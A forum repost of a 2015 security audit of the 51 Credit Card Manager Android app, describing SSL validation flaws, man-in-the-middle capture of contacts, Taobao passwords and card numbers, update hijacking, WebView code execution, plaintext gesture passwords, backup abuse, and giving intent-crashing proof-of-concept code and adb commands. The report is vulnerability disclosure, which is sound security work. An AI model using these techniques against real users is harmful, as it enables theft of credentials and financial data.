水波摇曳 发表于 2015-9-26 15:29:30

51 信用卡管家Android 客户端审计报告

真的安全吗?51 信用卡管家Android 客户端审计报告
DroidSec.cn / Nicky
审计时间:2015/3/22 – 2015/3/23
审计版本:51 信用卡管家 v7.3.01
应用简介:51 信用卡管家是一款具有管理信用卡功能的APP,它通过智能解析信用卡电子账单,来实现持卡人用卡信息管理和个人财务的智能化应用。迄今为止,51 信用卡管家APP 累计下载量已经超过3600 万,累计管理信用卡超过3500 万张。其官网号称绝对保证用户信息和资金安全。

1. 前言:
         51 信用卡管家号称是国内三分之一的信用卡用户都会使用的一款信息卡管理应用,其在登录时会要求用户填写接收信用帐单的邮箱帐号密码,通过远程服务器拉取邮箱中的电子帐单,从而实现信用卡信息管理,还款以及理财等功能。笔者在对其Android 客户端进行安全审计后发现其存在大量安全漏洞,可能造成用户通讯录,淘宝明文帐号密码,信用卡等信息泄露,甚至是整个51 帐户被盗取,同时此应用还存在远程代码执行,手势密码可破解,可被劫持安装Android木马窃取用户手机中任意资料等漏洞。建议厂商尽快修复漏洞,以免用户信息与资金安全受到影响。                  
2.漏洞详情
(1)51 信用卡管家Android 客户端泄露用户论坛帐号,手机通讯录,淘宝明文帐号密码,信用卡信息
1.反编绎客户端apk 安装包,分析类:Lcom/enniu/fund/c/a;
   private static HttpClient a() {
      HttpClient v0_6;
      d v0_4;
      d v1;
      SchemeRegistry v5;
      BasicHttpParams v4;
      d v2 = null;
      Class v3 = a.class;
      __monitor_enter(v3);
      try {
            if(a.a != null) {
                goto label_82;
            }

            v4 = new BasicHttpParams();
            String v0_1 = "EnNiu_51RP/$client_version$($brand$;Android $os_release$)".replace("$client_version$",
                  f.b(l.a().g())).replace("$brand$", f.b(Build.BRAND) + " " + f.b(Build.MODEL)).replace(
                  "$os_release$", f.b(Build$VERSION.RELEASE));
            new StringBuilder("userAgent = ").append(v0_1).toString();
            HttpProtocolParams.setUserAgent(((HttpParams)v4), v0_1);
            HttpProtocolParams.setVersion(((HttpParams)v4), HttpVersion.HTTP_1_1);
            HttpProtocolParams.setHttpElementCharset(((HttpParams)v4), "UTF-8");
            HttpProtocolParams.setContentCharset(((HttpParams)v4), "UTF-8");
            HttpProtocolParams.setUseExpectContinue(((HttpParams)v4), true);
            HttpConnectionParams.setStaleCheckingEnabled(((HttpParams)v4), false);
            HttpConnectionParams.setConnectionTimeout(((HttpParams)v4), 60000);
            HttpConnectionParams.setSoTimeout(((HttpParams)v4), 60000);
            v5 = new SchemeRegistry();
            v5.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));
            try {
                KeyStore v0_3 = KeyStore.getInstance(KeyStore.getDefaultType());
                v0_3.load(null, null);
                v1 = new d(v0_3);
            }
            catch(Exception v0_2) {
                v1 = v2;
                goto label_87;
            }
      }
      catch(Throwable v0) {
            goto label_91;
      }

      try {
            ((SSLSocketFactory)v1).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
            v0_4 = v1;
            goto label_68;
      }
      catch(Exception v0_2) {
      }
其中
setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);表示信任所有域证书,同时还应用开发人员还在多处重写了onReceivedSslError()方法,如:
public void onReceivedSslError(WebView arg5, SslErrorHandler arg6, SslError arg7) {
        if(!BaseWebActivity.this.e) {
                BaseWebActivity.this.c.loadData("", "text/html", "utf_8");
                BaseWebActivity.f(BaseWebActivity.this).setVisibility(0);
                BaseWebActivity.g(BaseWebActivity.this).setTag(BaseWebActivity.this.g);
                BaseWebActivity.this.f = true;
        }
        else {
                arg6.proceed();
        }
}
在onReceivedSslError()中使用proceed()方法表示当证书效验错误时忽略错误继续传输,以上两处缺陷导致51 信用卡管家Android 客户端通过HTTPS 加密传输的通信信息在一定情况下可被获取,即当用户选择使用WIFI 连接网络时,攻击都者只需要伪造WIFI 热点使用户连接或者连入与用户同一路由即可进行中间人攻击。
测试流程:1.先设置手机WIFI 代理,同时使用burpsuite 来抓取手机的HTTP/HTTPS 包。2.打开51 信用卡管家客户端,正常登录

登录为一个GET 请求,这里用了HTTPS 加密传输但攻击者仍能被抓取到此请求,其中username 及password 均采用了加密后传输,但返回的响应中泄露了用户的一些信息,包含登录用的帐号及u51 论坛的帐号信息,直接复制http://bbs.u51.com/api/uc.php?time=1427069786&code=xxx 字段到浏览器中打开可以成功登录相应自动生成的论坛帐号


选择“服务”-51 人品,如果用户还未验证手机号的话会提醒验证,验证通过后可以选择上传通讯来和通讯录中的好友比较PR


用户第一次使用此功能会要求读写用户通讯录短信通话记录等,然后上传,之后每次发送一个请求:

拉取明文的用户通讯录

这样不加密传输用户通讯录可直接被攻者通过中间人攻击窃取其次,51 信用管家在应用“设置中”还有一个功能是“导入第三方数据”,会要求用户输入淘宝帐号与密码,测试发现这个登录页面并非淘宝官方网站,而用户输入的淘宝帐号密码使用的是明文传输,存在极大的泄露风险


而在开通其“51 信使”功能时,同样会明文传输用户银行卡号

(2)51 信用卡管家Android 客户端可被劫持安装任意应用
1.开启burpsuite 截断功能,点击设置中的“检查更新”,正常的请求为:

其响应为:

修改其中的upgrade 及url 参数即可劫持应用的更新安装包为任意应用


用户看到的界面是正常的,点击马上更新


可以看到应用更新被成功替换为其它应用,如果我们生成一个同图标同名的木马应用,一般用户会不加思索的安装然后手机被攻击者控制
(3)51 信用卡管家Android 客户端存在持久型远程代码执行漏洞
1.先设置手机WIFI 代理,同时使用burpsuite 来抓取手机的HTTP/HTTPS 包。
2.打开51 信用卡管家客户端,开启Burpsuite 的截断功能,点击设置中的关于我们(或者任意可加载HTML 页面的操作,如“我的帮助”中的常见问题),修改response 为viewsource:http://www.droidsec.cn/webview.html 中的webview 远程代码执行漏洞自动检测攻击代码,攻击成功会自动在手机的SD 卡根目录生成check.txt


检测到四个存在漏洞的接口,除comjs 外,其余三个为系统自带接口,如未移除则默认存在,其中,同时为了加快页面加载速度 ,应用使用了本地缓存,当用户第一次打相关页面时日后都会重复加载被植入攻击代码的页面。comjs 接口相关代码位于package com.zhangdan.app.activities.service;的PangLiCaiActivity 类中:

此类webview 远程代码执行漏洞原理与危害详情可参考 :http://www.droidsec.cn/webview-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
通过此漏洞允许攻击者远程植入攻击代码执行任意系统命令,如安装木马,窃取隐私等
(4)51 信用卡管家Android 客户端手势密码泄露
1.打开51 信用卡管家Android 客户端正常设置手势密码,这样可以防止手机丢失或者不在身边上保证用户信息安全,用户还可以设置连续输错10 则完全清除应用信息,看起来很安全的样子?

2.其实不然,当用户为已root 状态时,获得ROOT 权限的应用(比如各类手机助手,应用市场及伪装的木马应用)可以读取手机中的任意文件,经检测发现,51 信用卡管家将用户设置的手势密码明文保存在/data/data/com.zhangdan.app/shared_prefs/card.xml 文件中,我们通过ADB 工具(木马应用都是直接读取)可以很轻松的读取此文件内容:

3.其中的lcal_pwd 值为2,1,0,3,6,7,8,如果我们把九宫格转换为数字:

2,1,0,3,6,7,8 代表得正好是如下图形

所以无论用户设置的手势密码有多复杂,木马都可以轻松直接破解以上说的是手机已经ROOT 的情况,其实不用ROOT 也行,看下个漏洞我们就知道复制未ROOT 手机上的应用数据到已经ROOT 手机上后同样可利用
(5)51 信用卡管家Android 用户帐户可被盗取
1.使用JEB 反编绎51 信用卡官家apk 安装包,分析其manifest:

2.android:allowBackup="true"表示应用允许用户通过系统备份工具备份应用数据然后恢复,目前大部分涉及用户隐私与财产安全的应用都不会选择开启此功能,因为这样用户在未root 的情况下应用数据可能被短时间内被攻击者复制,导致用户帐户被盗
3.如下,我们只要使用两行简单的adb 命令就能备份应用数据到本地,然后将恢复到另一台手机中:

4.所以用户的手机不在身边或者借给朋友几分钟,就可能导致帐号被盗,就算设置再复杂的密码与手势密码都没用。。。
漏洞更详细的原理与利用方式可以参考:http://www.droidsec.cn/%E8%AF%A6%E8%A7%A3android-app-allowbackup%E9%85%8D%E7%BD%AE%E5%B8%A6%E6%9D%A5%E7%9A%84%E9%A3%8E%E9%99%A9/
(6)51 信用卡管家Android 客户端内部数据库文件可被盗取
1.讲这个漏洞先要介绍一下一个安卓系统特性:db-journal 文件是sqlite 的一个临时的日志文件,主要用于sqlite 事务回滚机制,在事务开始时产生,在事务结束时删除;当程序发生崩溃或者系统断电时该文件将留在磁盘上,以便下次程序运行时进行事务回滚,其内容与同名的.db 文件相同。在android 系统中,.db-journal 文件是永久的留在磁盘上不会被自动清除的,开发者必须设置此类文件权限以避免.db 文件内容泄露。
2.51 信用卡管家将用户使用webview 组件浏览页面时保存的一些敏感信息储存在databases 目录下的db 数据库中

其中的51zhangban 是主数据库,保存了用户的大量信息


其同名的51zhangban.db-journal 文件权限为任意应用可读取

则意味着其内部数据在未ROOT 情况下有泄露风险
(7) 51 信用卡管家Android 客户端多处拒绝服务漏洞
1.因51 信用卡管家Android 客户端未对畸型intent 做异常处理,可导致应用无限崩溃如:
adb shell am startservice -n com.zhangdan.app/com.umeng.common.net.DownloadingService

存在问题的组件有:
1. com.payeco.android.plugin.PayecoPluginLoadingActivity
利用代码:
static class SerializableObject implements Serializable {
       static final long serialVersionUID = 42L;
   SerializableObject() {
       super();
   }
   }
   Intent intent = new Intent();
   intent.setComponent(new ComponentName("com.zhangdan.app","com.payeco.android.plugin.PayecoPluginLoadingActivity"));
   intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server", new SerializableObject());
   startActivity(intent);
2. com.zhangdan.app.wxapi.WXEntryActivity
利用代码:
static class SerializableObject implements Serializable {
       static final long serialVersionUID = 42L;
   SerializableObject() {
       super();
   }
   }
   Intent intent = new Intent();
   intent.setComponent(new ComponentName("com.zhangdan.app", "com.zhangdan.app.wxapi.WXEntryActivity"));
   intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server", new SerializableObject());
   startActivity(intent);
3. com.zhangdan.app.wbapi.WeiboResponseActivity
利用代码:
static class SerializableObject implements Serializable {
       static final long serialVersionUID = 42L;
   SerializableObject() {
       super();
   }
   }
   Intent intent = new Intent();
   intent.setComponent(new ComponentName("com.zhangdan.app", "com.zhangdan.app.wbapi.WeiboResponseActivity"));
   intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server", new SerializableObject());
   startActivity(intent);
4. com.enniu.fund.wxapi.WXEntryActivity
利用代码:
static class SerializableObject implements Serializable {
       static final long serialVersionUID = 42L;
   SerializableObject() {
       super();
   }
   }
   Intent intent = new Intent();
   intent.setComponent(new ComponentName("com.zhangdan.app", "com.enniu.fund.wxapi.WXEntryActivity"));
   intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server", new SerializableObject());
   startActivity(intent);
5. com.umeng.common.net.DownloadingService
adb shell am startservice -n com.zhangdan.app/com.umeng.common.net.DownloadingService
更漏洞原理与利⽤用可参考:http://www.droidsec.cn/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/

关于作者Nicky:
主页:http://www.droidsec.cn/
乌云:http://www.wooyun.org/whitehats/Nicky
(苏宁对其漏洞一掷千金啊,然后防止他再向IOS开刀,就把IOS版开源了。。)

水波摇曳 发表于 2015-9-26 15:40:22

是我在网上见过的Android APP审计很详细的报告性文档,目前有些收费的厂商也很难达到这样的全面细致(不过我们人工的比这要多很多项{:5_121:})喜欢安全审计/逆向分析的都可以看一下
从PDF转过来的,望随手顶一下~~

shuimeng001 发表于 2015-9-26 15:45:49

也是返回泄露明文,好低级的错误

善良的恶魔 发表于 2015-9-26 15:48:36

对这一块很关注,前来支持一下!

七少月 发表于 2015-9-26 16:17:43

然然,啥也不说,默默大

wruih 发表于 2015-9-30 15:32:55

这个 ios有漏洞吗?
页: [1]
查看完整版本: 51 信用卡管家Android 客户端审计报告